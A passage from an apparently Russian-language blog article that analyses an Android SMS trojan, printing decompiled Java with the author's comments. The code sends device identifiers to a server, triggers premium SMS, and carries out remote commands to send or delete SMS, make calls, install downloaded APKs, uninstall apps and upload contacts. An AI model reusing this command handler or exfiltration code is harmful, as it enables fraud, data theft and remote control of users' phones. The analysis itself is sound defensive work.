\u0432\u0434\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u0432\u043e \u0432\u0441\u0435 \u0442\u043e\u043d\u043a\u043e\u0441\u0442\u0438. \u041f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435 URL \u0442\u0430\u043c \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u044b, \u0438 \u0434\u043b\u044f \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 \u043d\u0443\u0436\u043d\u043e \u043f\u0440\u043e\u0441\u0438\u0434\u0435\u0442\u044c \u043d\u0435 \u043e\u0434\u0438\u043d \u0447\u0430\u0441. \u041c\u043e\u0436\u043d\u043e, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0438\u0445 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e WireShark, \u043d\u043e \u0432 \u044d\u0442\u043e\u043c \u043d\u0435\u0442 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438.<\/p>\n<h4>\u0420\u0430\u0431\u043e\u0442\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f<\/h4>\n<p>  \u041f\u0440\u0438\u0448\u043b\u043e \u0432\u0440\u0435\u043c\u044f \u0437\u0430\u0433\u043b\u044f\u043d\u0443\u0442\u044c \u0432 \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b. \u041d\u0430\u0447\u043d\u0435\u043c \u043f\u043e\u0436\u0430\u043b\u0443\u0439 \u0441 <b>MainActivity<\/b>. \u042f \u043f\u0440\u043e\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0438\u0440\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435:<\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0421\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0444\u0430\u0439\u043b\u0430 MainActivity<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"java\">public void onCreate(Bundle bundle)     {         int i;         super.onCreate(bundle);         Settings settings1;         WebViewClient webviewclient;         JSONObject jsonobject1;         int j;         int k;         try         {             \/\/             \/\/ \u041f\u043e\u0434\u0433\u0440\u0443\u0437\u043a\u0430 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445             \/\/             JSONObject jsonobject = new JSONObject(Functions.decript(getString(0x7f050002)));             new Beta(getApplicationContext(), jsonobject);         }         catch(Exception exception2)         {             exception2.printStackTrace();         }         \/\/         \/\/ \u041f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0434\u0438\u0430\u043b\u043e\u0433 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438         \/\/         showDialog(IDD_LOADING);         settings1 = new Settings();         if(!settings1.load(this))             settings1.save(this);         \/\/         \/\/ \u0414\u0430\u043d\u043d\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u0430 \u043d\u0438\u0436\u0435         \/\/         sendHttp();         handler = new Handler();         i = 0x7f030001;         jsonSettings = (new JSONObject(Constants.data)).getJSONObject(&quot;settings&quot;);         k = jsonSettings.getInt(&quot;mode&quot;);         if(k == 1)             \/\/             \/\/ \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0441\u0435\u0440\u0432\u0438\u0441 \u0441 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438 \u0434\u043b\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u043b\u0430\u0442\u043d\u043e\u0433\u043e sms-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f             \/\/             MainService.start(this, new Intent(), &quot;pay&quot;);         if(k == 3)             i = 0x7f030001;         else             i = 0x7f030000; _L1:         setContentView(i);         api = new WebApi(this, this);         webView = new WebView(this);         webviewclient = new WebViewClient() {              public void onPageFinished(WebView webview, String s)             {                 System.out.println(&quot;Page loaded&quot;);                 try                 {                     loadingDialog.dismiss();                 }                 catch(Exception exception3)                 {                     exception3.printStackTrace();                 }                 MainActivity.callJsCallbackAndroidVersion(android.os.Build.VERSION.RELEASE);                 if(jsonSettings.getInt(&quot;mode&quot;) == 3)                     MainActivity.executeJs(jsonSettings.getString(&quot;licenseJs&quot;)); _L1:                 return;                 JSONException jsonexception;                 jsonexception;                 jsonexception.printStackTrace();                   goto _L1             }              final MainActivity this$0;                           {                 this$0 = MainActivity.this;                 super();             }         };         webView.setWebViewClient(webviewclient);         webView.setWebChromeClient(new WebChromeClient() {         \/\/ \u0432\u044b\u0440\u0435\u0437\u0430\u043d\u043e         });         \/\/ \u0432\u044b\u0440\u0435\u0437\u0430\u043d\u043e         if(jsonSettings.getInt(&quot;mode&quot;) == 4)         { \t             j = jsonobject1.getInt(&quot;mode&quot;);             if(j == 41 || j == 42)                 \/\/                 \/\/ \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0441\u0435\u0440\u0432\u0438\u0441 \u0441 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438 \u0434\u043b\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u043b\u0430\u0442\u043d\u043e\u0433\u043e sms-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f                 \/\/                 MainService.start(this, new Intent(), &quot;pay&quot;);         }         webView.loadUrl((new StringBuilder(&quot;file:\/\/\/android_asset\/html\/&quot;)).append(jsonobject1.getString(&quot;html&quot;)).append(&quot;\/index.html&quot;).toString()); _L2:         return;         Exception exception;         exception;         exception.printStackTrace();           goto _L1         Exception exception1;         exception1;         exception1.printStackTrace();           goto _L2     }  \/\/ \/\/ \u0420\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \/\/ public void sendHttp()     {         (new Thread(new Runnable() {              public void run()             {                 \/\/                 \/\/ \u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441\u043b\u0438\u0432\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u0431 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u043a \u0441\u0435\u0431\u0435 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440                 \/\/                 MainActivity.sendPostRequest((new JSONObject(Constants.data)).getJSONObject(&quot;settings&quot;).getString(&quot;startUrl&quot;).replace(&quot;{IMEI}&quot;, Constants.imei).replace(&quot;{IMSI}&quot;, Constants.imsi).replace(&quot;{PHONE}&quot;, Constants.phone).replace(&quot;{COUNTRY}&quot;, Constants.country).replace(&quot;{APPID}&quot;, getText(0x7f050001)).replace(&quot;{MODEL}&quot;, Build.MODEL).replace(&quot;{MANUFACTURER}&quot;, Build.MANUFACTURER).replace(&quot;{SDK}&quot;, String.valueOf(android.os.Build.VERSION.SDK_INT)), new LinkedList(), new LinkedList());  \/\/ \u0432\u044b\u0440\u0435\u0437\u0430\u043d\u043e         })).start(); _L1:         return;         Exception exception;         exception;         exception.printStackTrace();           goto _L1     } <\/code><\/pre>\n<p>  <\/div>\n<\/div>\n<p>  \u041f\u0440\u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e\u043c \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c, \u0447\u0442\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0440\u0430\u0437\u0443, \u0430 \u043d\u0435 \u043f\u043e\u0441\u043b\u0435 \u043d\u0430\u0436\u0430\u0442\u0438\u0438 \u043a\u043d\u043e\u043f\u043a\u0438 \u201c\u0414\u0430\u043b\u0435\u0435\u201d (\u043a\u0430\u043a \u044d\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u043e \u043f\u0440\u0438\u043d\u044f\u0442\u043e). \u041b\u0438\u0446\u0435\u043d\u0437\u0438\u043e\u043d\u043d\u043e\u0435 \u0441\u043e\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 \u0435\u0441\u0442\u044c, \u043d\u043e \u043e\u043d\u043e \u043e\u0447\u0435\u043d\u044c \u0445\u043e\u0440\u043e\u0448\u043e \u0437\u0430\u043f\u0440\u044f\u0442\u0430\u043d\u043e. \u041d\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u2014 \u044d\u0442\u043e \u043d\u0435 \u0441\u0430\u043c\u0430\u044f \u0441\u0442\u0440\u0430\u0448\u043d\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430. \u041f\u043e\u043c\u043d\u0438\u0442\u0435 \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0439? \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0437\u0430\u0447\u0435\u043c \u043e\u043d\u0438 \u0432\u0441\u0435-\u0442\u0430\u043a\u0438 \u043d\u0443\u0436\u043d\u044b \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044e.<\/p>\n<p>  \u0427\u0442\u043e\u0431\u044b \u0441\u044d\u043a\u043e\u043d\u043e\u043c\u0438\u0442\u044c \u043c\u0435\u0441\u0442\u043e \u0438 \u0432\u0430\u0448\u0435 \u0432\u0440\u0435\u043c\u044f, \u044f \u043d\u0435 \u0431\u0443\u0434\u0443 \u0432\u044b\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0442\u044c <b>MainReceiver<\/b>. \u0421\u0440\u0430\u0437\u0443 \u0441\u043a\u0430\u0436\u0443, \u0447\u0442\u043e \u043e\u043d \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0438 \u0443\u0434\u0430\u043b\u044f\u0435\u0442 <b>(!)<\/b> \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f, \u0430 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0435\u0449\u0435 \u0438 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442.<\/p>\n<p>  \u0421\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 <b>MainService<\/b>. \u041f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0441\u0435\u0440\u0432\u0438\u0441 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443, \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442 \u043e\u0442\u0442\u0443\u0434\u0430 \u0434\u0430\u043d\u043d\u044b\u0435, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043d\u0435\u0447\u0442\u043e \u0432 json \u0438 \u043f\u0440\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u043c \u043e\u0442\u0432\u0435\u0442\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043c\u0435\u0442\u043e\u0434 <i>executeCommands(jsonobject1)<\/i>. \u0418 \u0442\u0443\u0442 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u043c\u0430\u0433\u0438\u044f:<\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0421\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0444\u0430\u0439\u043b\u0430 MainService<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"java\">public void executeCommands(JSONObject jsonobject)     {         if(Constants.DEBUG)             System.out.println((new StringBuilder()).append(&quot;response: &quot;).append(jsonobject.toString(4)).toString());         Settings settings = Settings.getSettings();         if(jsonobject.has(&quot;wait&quot;))         {             if(Constants.DEBUG)                 System.out.println(&quot;has wait&quot;);             settings.timeNextConnection = System.currentTimeMillis() + (long)(jsonobject.getInt(&quot;wait&quot;) * Constants.SECOND);             settings.save(this);         }         \/\/ \u0412\u0438\u0434\u0438\u043c\u043e \u043f\u0440\u0435\u0434\u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u043e \u0434\u043b\u044f \u0441\u043c\u0435\u043d\u044b URL \u0441\u0435\u0440\u0432\u0435\u0440\u0430         if(jsonobject.has(&quot;server&quot;))         {             if(Constants.DEBUG)                 System.out.println(&quot;has server&quot;);             settings.server = jsonobject.getString(&quot;server&quot;);             settings.save(this);         }         \/\/ \u0420\u0430\u0431\u043e\u0442\u0430 \u0441 \u0441\u043c\u0441 \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u043c\u0438         if(jsonobject.has(&quot;removeAllSmsFilters&quot;))         {             if(Constants.DEBUG)                 System.out.println(&quot;has removeAllSmsFilters&quot;);             if(Boolean.valueOf(jsonobject.getBoolean(&quot;removeAllSmsFilters&quot;)).booleanValue())             {                 settings.deleteSmsList.clear();                 settings.save(this);             }         }         \/\/ \u0420\u0430\u0431\u043e\u0442\u0430 \u0441 \u0441\u043c\u0441 \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u043c\u0438         if(jsonobject.has(&quot;removeAllCatchFilters&quot;))         {             if(Constants.DEBUG)                 System.out.println(&quot;has removeAllCatchFilters&quot;);             if(Boolean.valueOf(jsonobject.getBoolean(&quot;removeAllCatchFilters&quot;)).booleanValue())             {                 settings.catchSmsList.clear();                 settings.save(this);             }         }         \/\/ \u0423\u0434\u0430\u043b\u0438\u0442\u044c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f         if(jsonobject.has(&quot;deleteSms&quot;))         {             if(Constants.DEBUG)                 System.out.println(&quot;has deleteSms&quot;);             settings.deleteSmsList.clear();             settings.save(this);             JSONArray jsonarray5 = jsonobject.getJSONArray(&quot;deleteSms&quot;);             for(int j1 = 0; j1 &lt; jsonarray5.length(); j1++)             {                 JSONObject jsonobject7 = jsonarray5.getJSONObject(j1);                 settings.deleteSmsList.add(new SmsItem(jsonobject7.getString(&quot;phone&quot;), jsonobject7.getString(&quot;text&quot;)));             }              settings.save(this);         }         \/\/ \u0420\u0430\u0431\u043e\u0442\u0430 \u0441 \u0441\u043c\u0441 \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u043c\u0438         if(jsonobject.has(&quot;catchSms&quot;))         {             if(Constants.DEBUG)                 System.out.println(&quot;has catchSms&quot;);             settings.catchSmsList.clear();             settings.save(this);             JSONArray jsonarray4 = jsonobject.getJSONArray(&quot;catchSms&quot;);             for(int i1 = 0; i1 &lt; jsonarray4.length(); i1++)             {                 JSONObject jsonobject6 = jsonarray4.getJSONObject(i1);                 settings.catchSmsList.add(new SmsItem(jsonobject6.getString(&quot;phone&quot;), jsonobject6.getString(&quot;text&quot;)));             }              settings.save(this);         }         \/\/ \u041e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435         if(jsonobject.has(&quot;sendSms&quot;))         {             if(Constants.DEBUG)                 System.out.println(&quot;has sendSms&quot;);             JSONArray jsonarray3 = jsonobject.getJSONArray(&quot;sendSms&quot;);             for(int l = 0; l &lt; jsonarray3.length(); l++)             {                 JSONObject jsonobject5 = jsonarray3.getJSONObject(l);                 Functions.sendSms(jsonobject5.getString(&quot;phone&quot;), jsonobject5.getString(&quot;text&quot;));             }          }         \/\/ \u0412\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c http-\u0437\u0430\u043f\u0440\u043e\u0441 (botnet???)         if(jsonobject.has(&quot;httpRequest&quot;))         {             if(Constants.DEBUG)                 System.out.println(&quot;has httpRequest&quot;);             JSONObject jsonobject2 = jsonobject.getJSONObject(&quot;httpRequest&quot;);             String s4 = jsonobject2.getString(&quot;method&quot;);             String s5 = jsonobject2.getString(&quot;url&quot;);             ArrayList arraylist = new ArrayList();             ArrayList arraylist1 = new ArrayList();             JSONArray jsonarray1 = jsonobject2.getJSONArray(&quot;params&quot;);             for(int j = 0; j &lt; jsonarray1.length(); j++)             {                 JSONObject jsonobject4 = jsonarray1.getJSONObject(j);                 arraylist.add(new BasicNameValuePair(jsonobject4.getString(&quot;name&quot;), jsonobject4.getString(&quot;value&quot;)));             }              JSONArray jsonarray2 = jsonobject2.getJSONArray(&quot;properties&quot;);             for(int k = 0; k &lt; jsonarray2.length(); k++)             {                 JSONObject jsonobject3 = jsonarray2.getJSONObject(k);                 arraylist1.add(new BasicNameValuePair(jsonobject3.getString(&quot;name&quot;), jsonobject3.getString(&quot;value&quot;)));             }              Functions.sendSimpleHttpRequest(s5, s4, arraylist, arraylist1);         }         \/\/ \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u0430\u043c\u043e\u0433\u043e \u0441\u0435\u0431\u044f         if(jsonobject.has(&quot;update&quot;))         {             if(Constants.DEBUG)                 System.out.println(&quot;has update&quot;);             String s1 = jsonobject.getString(&quot;update&quot;);             ConnectivityManager connectivitymanager = (ConnectivityManager)getSystemService(&quot;connectivity&quot;);             if(connectivitymanager.getNetworkInfo(1).isAvailable() || connectivitymanager.getNetworkInfo(0).isConnectedOrConnecting())             {                 String s2 = (new StringBuilder()).append(System.currentTimeMillis()).append(&quot;.apk&quot;).toString();                 String s3 = (new StringBuilder()).append(Environment.getExternalStorageDirectory()).append(&quot;\/download\/&quot;).toString();                 if(Functions.downloadFile(s3, s1, s2))                     Functions.installApk(this, (new StringBuilder()).append(s3).append(s2).toString());             }         }         \/\/ \u0423\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u043f\u043a         if(jsonobject.has(&quot;uninstall&quot;))         {             if(Constants.DEBUG)                 System.out.println(&quot;has uninstall&quot;);             JSONArray jsonarray = jsonobject.getJSONArray(&quot;uninstall&quot;);             for(int i = 0; i &lt; jsonarray.length(); i++)                 Functions.uninstallApk(this, jsonarray.getString(i));          }         \/\/ \u041f\u043e\u0441\u043b\u0430\u0442\u044c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u0432 \u0431\u0430\u0440         if(jsonobject.has(&quot;notification&quot;))         {             if(Constants.DEBUG)                 System.out.println(&quot;has notification&quot;);             JSONObject jsonobject1 = jsonobject.getJSONObject(&quot;notification&quot;);             String s = jsonobject1.getString(&quot;url&quot;);             Functions.showNotification(this, jsonobject1.getString(&quot;tickerText&quot;), jsonobject1.getString(&quot;title&quot;), jsonobject1.getString(&quot;text&quot;), jsonobject1.getInt(&quot;icon&quot;), s);         }         \/\/ \u041e\u0442\u043a\u0440\u044b\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 URL         if(jsonobject.has(&quot;openUrl&quot;))         {             if(Constants.DEBUG)                 System.out.println(&quot;has openUrl&quot;);             Functions.openUrl(this, jsonobject.getString(&quot;openUrl&quot;));         }         \/\/ \u0421\u043b\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0430\u043a\u0442\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440         if(jsonobject.has(&quot;sendContactList&quot;))         {             if(Constants.DEBUG)                 System.out.println(&quot;has sendContactList&quot;);             if(Boolean.valueOf(jsonobject.getBoolean(&quot;sendContactList&quot;)).booleanValue())             {                 ThreadOperation threadoperation1 = new ThreadOperation(this, 2, null);                 (new Thread(threadoperation1)).start();             }         }         \/\/ \u041e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u0441\u043f\u0438\u0441\u043a\u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440         if(jsonobject.has(&quot;sendPackageList&quot;))         {             if(Constants.DEBUG)                 System.out.println(&quot;has sendPackageList&quot;);             if(Boolean.valueOf(jsonobject.getBoolean(&quot;sendPackageList&quot;)).booleanValue())             {                 ThreadOperation threadoperation = new ThreadOperation(this, 3, null);                 (new Thread(threadoperation)).start();             }         }         \/\/ \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c URL \u0422\u0432\u0438\u0442\u0442\u0435\u0440\u0430          if(jsonobject.has(&quot;twitter&quot;))         {             if(Constants.DEBUG)                 System.out.println(&quot;has twitter&quot;);             settings.twitterUrl = jsonobject.getString(&quot;twitter&quot;);             settings.save(this);         }         \/\/ \u0421\u0434\u0435\u043b\u0430\u0442\u044c \u0432\u044b\u0437\u043e\u0432         if(jsonobject.has(&quot;makeCall&quot;))         {             if(Constants.DEBUG)                 System.out.println(&quot;has makeCall&quot;);             Functions.makeCall(this, jsonobject.getString(&quot;makeCall&quot;));         } _L1:         return;         Exception exception;         exception;         exception.printStackTrace();           goto _L1     } <\/code><\/pre>\n<p>  <\/div>\n<\/div>\n<p>  \u0424\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u044d\u0442\u043e \u0442\u0440\u043e\u044f\u043d\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u044c. \u041a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0442\u0430\u043a\u043e\u0439 \u0442\u0440\u043e\u044f\u043d\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0441\u043b\u0438\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0435\u0433\u043e \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043e\u043c. <\/p>\n<h4>\u0420\u0435\u0437\u044e\u043c\u0435<\/h4>\n<p>  \u041d\u0430 \u0445\u0430\u0431\u0440\u0435 \u043d\u0435 \u0442\u043e\u0442 \u043a\u043e\u043d\u0442\u0438\u043d\u0433\u0435\u043d\u0442, \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0441\u0442\u043e\u0438\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u043d\u043e\u0442\u0430\u0446\u0438\u044e \u043d\u0430 \u0442\u0435\u043c\u0443 \u201c\u043d\u0435 \u0441\u0442\u0430\u0432\u044c\u0442\u0435 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u201d, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u0430\u043d\u043d\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u0441\u0432\u043e\u0435\u0433\u043e \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f \u044f \u043e\u043f\u0443\u0449\u0443. <\/p>\n<p>  \u041f\u0435\u0440\u0432\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0441\u0442\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u043b\u0438 \u043f\u043b\u0430\u0442\u043d\u044b\u0435 sms-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f, \u043f\u043e\u0442\u043e\u043c \u043d\u0430\u0447\u0430\u043b\u0438 \u0440\u0430\u0441\u0441\u044b\u043b\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0432\u0441\u0435\u043c \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430 \u043a\u043e\u043d\u0442\u0430\u043a\u0442\u043e\u0432, \u0430 \u0442\u0435\u043f\u0435\u0440\u044c \u2014 \u043c\u044b \u0438\u043c\u0435\u0435\u043c \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u0443\u044e \u0442\u0440\u043e\u044f\u043d\u0441\u043a\u0443\u044e \u043b\u043e\u0448\u0430\u0434\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0434\u0435\u0440\u0433\u0430\u0442\u044c \u0437\u0430 \u043f\u043e\u0432\u043e\u0434\u044c\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e. \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f\u2026<\/p>\n<p>  \u041f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044e \u0435\u0449\u0435 \u0440\u0430\u0437 \u0432\u043a\u0440\u0430\u0442\u0446\u0435 (\u0434\u043b\u044f \u0442\u0435\u0445, \u043a\u0442\u043e \u043f\u0440\u043e\u043b\u0438\u0441\u0442\u0430\u043b, \u043d\u0435 \u0447\u0438\u0442\u0430\u044f \u043a\u043e\u0434 \u0441 \u043c\u043e\u0438\u043c\u0438 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u043c\u0438) \u0447\u0442\u043e \u0443\u043c\u0435\u0435\u0442 \u0434\u0435\u043b\u0430\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435:<\/p>\n<p>  1. \u041c\u0435\u043d\u044f\u0442\u044c URL \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430<br \/>  2. \u0423\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c sms-\u0444\u0438\u043b\u044c\u0442\u0440\u044b (\u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 \u0444\u0438\u043b\u044c\u0442\u0440 \u0435\u0449\u0435 \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0443\u0441\u043f\u0435\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435)<br \/>  3. \u0423\u0434\u0430\u043b\u044f\u0442\u044c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f<br \/>  4. \u041e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f<br \/>  5. \u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c http-\u0437\u0430\u043f\u0440\u043e\u0441\u044b (botnet???)<br \/>  6. \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c\u0441\u044f<br \/>  7. \u0423\u0434\u0430\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b<br \/>  8. \u041e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043d\u043e\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438<br \/>  9. \u041e\u0442\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 URL<br \/>  10. \u0421\u043b\u0438\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0442\u0430\u043a\u0442\u044b \u043d\u0430 